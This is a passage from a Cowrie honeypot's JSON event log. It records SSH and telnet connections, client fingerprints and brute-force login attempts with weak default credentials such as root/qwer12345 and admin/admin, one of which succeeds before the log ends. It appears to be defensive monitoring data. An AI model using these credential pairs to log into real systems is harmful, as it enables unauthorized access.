{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:22:07.891269Z","src_ip":"193.24.211.100","session":"1034232eeb57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:22:08.004188Z","src_ip":"193.24.211.100","session":"1034232eeb57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer12345","message":"login attempt [root/qwer12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:22:08.428449Z","src_ip":"193.24.211.100","session":"1034232eeb57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:22:09.540100Z","src_ip":"193.24.211.100","session":"1034232eeb57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.184","src_port":24336,"dst_ip":"10.17.0.5","dst_port":22,"session":"3740c4b74ad4","protocol":"ssh","message":"New connection: 101.36.119.184:24336 (10.17.0.5:22) [session: 3740c4b74ad4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:22:10.026714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:22:12.027626Z","src_ip":"101.36.119.184","session":"3740c4b74ad4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:22:12.240540Z","src_ip":"101.36.119.184","session":"3740c4b74ad4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guestguest","message":"login attempt [guest/guestguest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:22:13.151072Z","src_ip":"101.36.119.184","session":"3740c4b74ad4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:22:14.379483Z","src_ip":"101.36.119.184","session":"3740c4b74ad4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":51262,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2c76a00b0ac","protocol":"ssh","message":"New connection: 194.59.206.2:51262 (159.203.135.109:22) [session: c2c76a00b0ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:22:18.043292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:22:18.048927Z","src_ip":"194.59.206.2","session":"c2c76a00b0ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:22:18.143106Z","src_ip":"194.59.206.2","session":"c2c76a00b0ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:22:18.231105Z","src_ip":"194.59.206.2","session":"c2c76a00b0ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":51165,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3e11159aaa4","protocol":"telnet","message":"New connection: 212.55.149.117:51165 (10.17.0.5:23) [session: b3e11159aaa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:22:24.280734Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":48382,"dst_ip":"10.17.0.5","dst_port":22,"session":"b597f006ce42","protocol":"ssh","message":"New connection: 103.15.226.202:48382 (10.17.0.5:22) [session: b597f006ce42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:22:26.211553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:22:26.219028Z","src_ip":"103.15.226.202","session":"b597f006ce42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:22:26.479782Z","src_ip":"103.15.226.202","session":"b597f006ce42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc@123456","message":"login attempt [root/Abc@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:22:27.207946Z","src_ip":"103.15.226.202","session":"b597f006ce42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:22:28.453666Z","src_ip":"103.15.226.202","session":"b597f006ce42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"116.110.220.181","src_port":41998,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4b62f992935","protocol":"ssh","message":"New connection: 116.110.220.181:41998 (159.203.135.109:22) [session: b4b62f992935]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:23:02.685650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:23:02.713897Z","src_ip":"116.110.220.181","session":"b4b62f992935","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:23:02.957300Z","src_ip":"116.110.220.181","session":"b4b62f992935","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"admin","message":"login attempt [support/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:23:05.844707Z","src_ip":"116.110.220.181","session":"b4b62f992935","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.5.108.230","src_port":58432,"dst_ip":"10.17.0.5","dst_port":23,"session":"5584e1968097","protocol":"telnet","message":"New connection: 139.5.108.230:58432 (10.17.0.5:23) [session: 5584e1968097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:23:07.235071Z"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:23:09.021437Z","src_ip":"116.110.220.181","session":"b4b62f992935","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01517152786255,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:23:22.693062Z","src_ip":"212.55.149.117","session":"60f122262ee3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":20173,"dst_ip":"10.17.0.5","dst_port":23,"session":"314a44c1ba47","protocol":"telnet","message":"New connection: 212.55.149.117:20173 (10.17.0.5:23) [session: 314a44c1ba47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:23:25.581866Z"}
{"eventid":"cowrie.session.closed","duration":62.72663617134094,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:23:27.007226Z","src_ip":"212.55.149.117","session":"b3e11159aaa4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":29102,"dst_ip":"10.17.0.5","dst_port":23,"session":"94ff355f300b","protocol":"telnet","message":"New connection: 212.55.149.117:29102 (10.17.0.5:23) [session: 94ff355f300b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:23:31.220090Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":58618,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a4f1bb591b5","protocol":"ssh","message":"New connection: 2.57.122.210:58618 (10.17.0.5:22) [session: 6a4f1bb591b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:23:46.504218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:23:46.517440Z","src_ip":"2.57.122.210","session":"6a4f1bb591b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:23:46.619064Z","src_ip":"2.57.122.210","session":"6a4f1bb591b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minima","password":"minima","message":"login attempt [minima/minima] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:23:47.084013Z","src_ip":"2.57.122.210","session":"6a4f1bb591b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:23:48.190013Z","src_ip":"2.57.122.210","session":"6a4f1bb591b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":58410,"dst_ip":"10.17.0.5","dst_port":22,"session":"dff39784f814","protocol":"ssh","message":"New connection: 2.57.122.238:58410 (10.17.0.5:22) [session: dff39784f814]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:23:52.215502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:23:52.221778Z","src_ip":"2.57.122.238","session":"dff39784f814","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:23:52.322824Z","src_ip":"2.57.122.238","session":"dff39784f814","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:23:52.624391Z","src_ip":"2.57.122.238","session":"dff39784f814","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":9648,"dst_ip":"10.17.0.5","dst_port":23,"session":"199ab0a00d5a","protocol":"telnet","message":"New connection: 212.55.149.117:9648 (10.17.0.5:23) [session: 199ab0a00d5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:23:53.561378Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:23:53.726895Z","src_ip":"2.57.122.238","session":"dff39784f814","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:24:08.029248Z","src_ip":"139.5.108.230","session":"5584e1968097","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:24:08.080544Z","src_ip":"139.5.108.230","session":"5584e1968097","protocol":"telnet"}
